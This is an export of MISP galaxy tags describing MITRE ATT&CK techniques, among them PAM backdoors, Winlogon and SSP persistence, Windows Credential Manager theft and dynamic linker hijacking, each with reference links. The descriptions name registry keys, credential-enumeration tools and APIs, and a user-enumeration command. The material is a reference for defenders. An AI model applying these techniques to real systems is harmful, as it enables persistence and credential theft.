The tag is: *misp-galaxy:mitre-attack-pattern="Application Exhaustion Flood - T1499.003"*

Table 3971. Table References

Links
https://attack.mitre.org/techniques/T1499/003
https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf

Pluggable Authentication Modules - T1556.003

Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)

Adversaries may modify components of the PAM system to create backdoors. PAM components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)

Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)

The tag is: *misp-galaxy:mitre-attack-pattern="Pluggable Authentication Modules - T1556.003"*

Table 3972. Table References

Links

https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules
https://attack.mitre.org/techniques/T1556/003
https://github.com/zephrax/linux-pam-backdoor
https://linux.die.net/man/8/pam_unix
https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt
https://x-c3ll.github.io/posts/PAM-backdoor-DNS/

Runtime Data Manipulation - T1565.003

Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: *misp-galaxy:mitre-attack-pattern="Runtime Data Manipulation - T1565.003"*

Table 3973. Table References

Links
https://attack.mitre.org/techniques/T1565/003
https://content.fireeye.com/apt/rpt-apt38
https://www.justice.gov/opa/press-release/file/1092091/download

Spearphishing via Service - T1566.003

Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.

A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.

The tag is: *misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1566.003"*

Table 3974. Table References

Links
https://attack.mitre.org/techniques/T1566/003
https://capec.mitre.org/data/definitions/163.html

Delete Cloud Instance - T1578.003

An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence. Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.

An adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)

The tag is: *misp-galaxy:mitre-attack-pattern="Delete Cloud Instance - T1578.003"*

Table 3975. Table References

Links
https://attack.mitre.org/techniques/T1578/003
https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/
https://cloud.google.com/logging/docs/audit#admin-activity
https://content.fireeye.com/m-trends/rpt-m-trends-2020
https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs

Code Signing Certificates - T1588.003

Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.

Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.

The tag is: *misp-galaxy:mitre-attack-pattern="Code Signing Certificates - T1588.003"*

Table 3976. Table References

Links
https://attack.mitre.org/techniques/T1588/003
https://en.wikipedia.org/wiki/Code_signing

NTFS File Attributes - T1564.004

Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)

Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004"*

Table 3977. Table References

Links
http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html
http://msdn.microsoft.com/en-us/library/aa364404
https://attack.mitre.org/techniques/T1564/004
https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/
https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/
https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/
https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/

https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea
https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore

Winlogon Helper DLL - T1547.004

Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\Software[\\Wow6432Node\\]\Microsoft\Windows NT\CurrentVersion\Winlogon\</code> and <code>HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\</code> are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013)

Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)

- Winlogon\Notify - points to notification package DLLs that handle Winlogon events
- Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on
- Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on

Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.

The tag is: *misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004"*

Table 3978. Table References

Links
https://attack.mitre.org/techniques/T1547/004
https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order
https://capec.mitre.org/data/definitions/579.html
https://technet.microsoft.com/en-us/sysinternals/bb963902

Windows Credential Manager - T1555.004

Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)

The Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.

Credential Lockers store credentials in encrypted <code>.vcrd</code> files, located under <code>%Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\</code>. The encryption key can be found in a file named <code>Policy.vpol</code>, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)

Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. <code>vaultcmd.exe</code> is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may gather credentials by reading files located inside of the Credential Lockers. Adversaries may also abuse Windows APIs such as <code>CredEnumerateA</code> to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)

Adversaries may use password recovery tools to obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004"*

Table 3979. Table References

Links
https://attack.mitre.org/techniques/T1555/004
https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store
https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea
https://github.com/gentilkiwi/mimikatz/wiki/howto--credential-manager-saved-credentials[https://github.com/gentilkiwi/mimikatz/wiki/howto--credential-manager-saved-credentials]
https://www.passcape.com/windows_password_recovery_vault_explorer

Network Device Authentication - T1556.004

Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.

[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)

The tag is: *misp-galaxy:mitre-attack-pattern="Network Device Authentication - T1556.004"*

Table 3980. Table References

Links
https://attack.mitre.org/techniques/T1556/004
https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
https://www.mandiant.com/resources/synful-knock-acis

Hidden File System - T1564.005

Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)

Adversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)

The tag is: *misp-galaxy:mitre-attack-pattern="Hidden File System - T1564.005"*

Table 3981. Table References

Links
https://attack.mitre.org/techniques/T1564/005
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf
https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html
https://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html

https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf

Security Support Provider - T1547.005

Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.

The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="Security Support Provider - T1547.005"*

Table 3982. Table References

Links
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
https://attack.mitre.org/techniques/T1547/005
https://technet.microsoft.com/en-us/library/dn408187.aspx

Run Virtual Instance - T1564.006

Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)

Adversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)

The tag is: *misp-galaxy:mitre-attack-pattern="Run Virtual Instance - T1564.006"*

Table 3983. Table References

Links
https://attack.mitre.org/techniques/T1564/006

https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/
https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/
https://www.mci.gov.sg/-/media/mcicorp/doc/report-of-the-coi-into-the-cyber-attack-on-singhealth-10-jan-2019.ashx

Netsh Helper DLL - T1546.007

Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</code>.

Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)

The tag is: *misp-galaxy:mitre-attack-pattern="Netsh Helper DLL - T1546.007"*

Table 3984. Table References

Links
https://attack.mitre.org/techniques/T1546/007
https://github.com/outflankbv/NetshHelperBeacon
https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html
https://technet.microsoft.com/library/bb490939.aspx

Dynamic Linker Hijacking - T1574.006

Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT_LIBRARIES</code> on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)

On Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the <code>export</code> command, <code>setenv</code> function, or <code>putenv</code> function. Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python's <code>os.environ</code>.

On Linux, adversaries may set <code>LD_PRELOAD</code> to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. <code>LD_PRELOAD</code> can be set via the environment variable or <code>/etc/ld.so.preload</code> file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by <code>LD_PRELOAD</code> are loaded and mapped into memory by <code>dlopen()</code> and <code>mmap()</code> respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers)

On macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the <code>DYLD_INSERT_LIBRARIES</code> environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass)

The tag is: *misp-galaxy:mitre-attack-pattern="Dynamic Linker Hijacking - T1574.006"*

Table 3985. Table References

Links
http://hick.org/code/skape/papers/needle.txt
http://phrack.org/issues/51/8.html
http://www.nth-dimension.org.uk/pub/BTL.pdf
https://attack.mitre.org/techniques/T1574/006
https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/
https://capec.mitre.org/data/definitions/13.html
https://capec.mitre.org/data/definitions/640.html
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html
https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191
https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/
https://www.baeldung.com/linux/ld_preload-trick-what-is
https://www.datawire.io/code-injection-on-linux-and-macos/

https://www.man7.org/linux/man-pages/man8/ld.so.8.html
https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html

Email Hiding Rules - T1564.008

Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the <code>New-InboxRule</code> or <code>Set-InboxRule</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)

Adversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.

Any user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as <code>malware</code>, <code>suspicious</code>, <code>phish</code>, and <code>hack</code>) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)

The tag is: *misp-galaxy:mitre-attack-pattern="Email Hiding Rules - T1564.008"*

Table 3986. Table References

Links
https://attack.mitre.org/techniques/T1564/008
https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps
https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps
https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac
https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59
https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154
https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/

Revert Cloud Instance - T1578.004

An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.

Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)

The tag is: *misp-galaxy:mitre-attack-pattern="Revert Cloud Instance - T1578.004"*

Table 3987. Table References

Links
https://attack.mitre.org/techniques/T1578/004
https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots
https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/

XDG Autostart Entries - T1547.013

Adversaries may modify XDG autostart entries to execute programs or commands during system boot. Linux desktop environments that are XDG compliant implement functionality for XDG autostart entries. These entries will allow an application to automatically start during the startup of a desktop environment after user logon. By default, XDG autostart entries are stored within the <code>/etc/xdg/autostart</code> or <code>~/.config/autostart</code> directories and have a .desktop file extension.(Citation: Free Desktop Application Autostart Feb 2006)

Within an XDG autostart entry file, the <code>Type</code> key specifies if the entry is an application (type 1), link (type 2) or directory (type 3). The <code>Name</code> key indicates an arbitrary name assigned by the creator and the <code>Exec</code> key indicates the application and command line arguments to execute.(Citation: Free Desktop Entry Keys)

Adversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment. Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make XDG autostart entries look as if they are associated with legitimate programs.

The tag is: *misp-galaxy:mitre-attack-pattern="XDG Autostart Entries - T1547.013"*

Table 3988. Table References

Links
https://attack.mitre.org/techniques/T1547/013
https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html
https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html

Identify business processes/tempo - T1280

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1280).

Understanding an organizations business processes and tempo may allow an adversary to more effectively craft social engineering attempts or to better hide technical actions, such as those that generate network traffic. (Citation: Scasny2015) (Citation: Infosec-osint)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify business processes/tempo - T1280"*

Table 3989. Table References

Links
https://attack.mitre.org/techniques/T1280

System Owner/User Discovery - T1033

Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Various utilities and commands may acquire this information, including <code>whoami</code>. In macOS and Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>. On macOS the <code>dscl . list /Users | grep -v '_'</code> command can also be used to enumerate user accounts. Environment variables, such as <code>%USERNAME%</code> and <code>$USER</code>, may also be used to access this information.

The tag is: *misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033"*

Table 3990. Table References

Links
https://attack.mitre.org/techniques/T1033
https://capec.mitre.org/data/definitions/577.html

Disguise Root/Jailbreak Indicators - T1408

An adversary could use knowledge of the techniques used by security software to evade detection(Citation: Brodie)(Citation: Tan). For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed "su" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection(Citation: Rastogi).

The tag is: *misp-galaxy:mitre-attack-pattern="Disguise Root/Jailbreak Indicators - T1408"*

Table 3991. Table References

Links
http://pages.cs.wisc.edu/vrastogi/static/papers/rcj13b.pdf[http://pages.cs.wisc.edu/vrastogi/static/papers/rcj13b.pdf]
http://www.blackhat.com/us-16/briefings.html#bad-for-enterprise-attacking-byod-enterprise-mobile-security-solutions
https://attack.mitre.org/techniques/T1408
https://media.blackhat.com/eu-13/briefings/Brodie/bh-eu-13-lacoon-attacks-mdm-brodie-wp.pdf
https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-5.html

Obtain templates/branding materials - T1281

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1281).

Templates and branding materials may be used by an adversary to add authenticity to social engineering message. (Citation: Scasny2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Obtain templates/branding materials - T1281"*

Table 3992. Table References

Links
https://attack.mitre.org/techniques/T1281

Research relevant vulnerabilities/CVEs - T1291

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1291).

Common Vulnerability Enumeration (CVE) is a dictionary of publicly known information about security vulnerabilities and exposures. An adversary can use this information to target specific software that may be vulnerable. (Citation: WeaponsVulnerable) (Citation: KasperskyCarbanak)

The tag is: *misp-galaxy:mitre-attack-pattern="Research relevant vulnerabilities/CVEs - T1291"*

Table 3993. Table References

Links

https://attack.mitre.org/techniques/T1291
https://securelist.com/the-great-bank-robbery-the-carbanak-apt/68732/

Conduct cost/benefit analysis - T1226

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1226).

Leadership conducts a cost/benefit analysis that generates a compelling need for information gathering which triggers a Key Intelligence Toptic (KIT) or Key Intelligence Question (KIQ). For example, an adversary compares the cost of cyber intrusions with the expected benefits from increased intelligence collection on cyber adversaries. (Citation: LowenthalCh4) (Citation: KIT-Herring)

The tag is: *misp-galaxy:mitre-attack-pattern="Conduct cost/benefit analysis - T1226"*

Table 3994. Table References

Links
https://attack.mitre.org/techniques/T1226

Assess KITs/KIQs benefits - T1229

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1229).

Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) may be further subdivided to focus on political, economic, diplomatic, military, financial, or intellectual property categories. An adversary may specify KITs or KIQs in this manner in order to understand how the information they are pursuing can have multiple uses and to consider all aspects of the types of information they need to target for a particular purpose. (Citation: CompetitiveIntelligence) (Citation: CompetitiveIntelligence)KIT.

The tag is: *misp-galaxy:mitre-attack-pattern="Assess KITs/KIQs benefits - T1229"*

Table 3995. Table References

Links
https://attack.mitre.org/techniques/T1229

Determine approach/attack vector - T1245

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1245).

The approach or attack vector outlines the specifics behind how the adversary would like to attack the target. As additional information is known through the other phases of PRE-ATT&CK, an adversary may update the approach or attack vector. (Citation: CyberAdversaryBehavior) (Citation: WITCHCOVEN2015) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Determine approach/attack vector - T1245"*

Table 3996. Table References

Links
https://attack.mitre.org/techniques/T1245

Mine technical blogs/forums - T1257

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1257).

Technical blogs and forums provide a way for technical staff to ask for assistance or troubleshoot problems. In doing so they may reveal information such as operating system (OS), network devices, or applications in use. (Citation: FunAndSun2012)

The tag is: *misp-galaxy:mitre-attack-pattern="Mine technical blogs/forums - T1257"*

Table 3997. Table References

Links
https://attack.mitre.org/techniques/T1257

Unused/Unsupported Cloud Regions - T1535

Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.

Cloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.

A variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.

An example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)

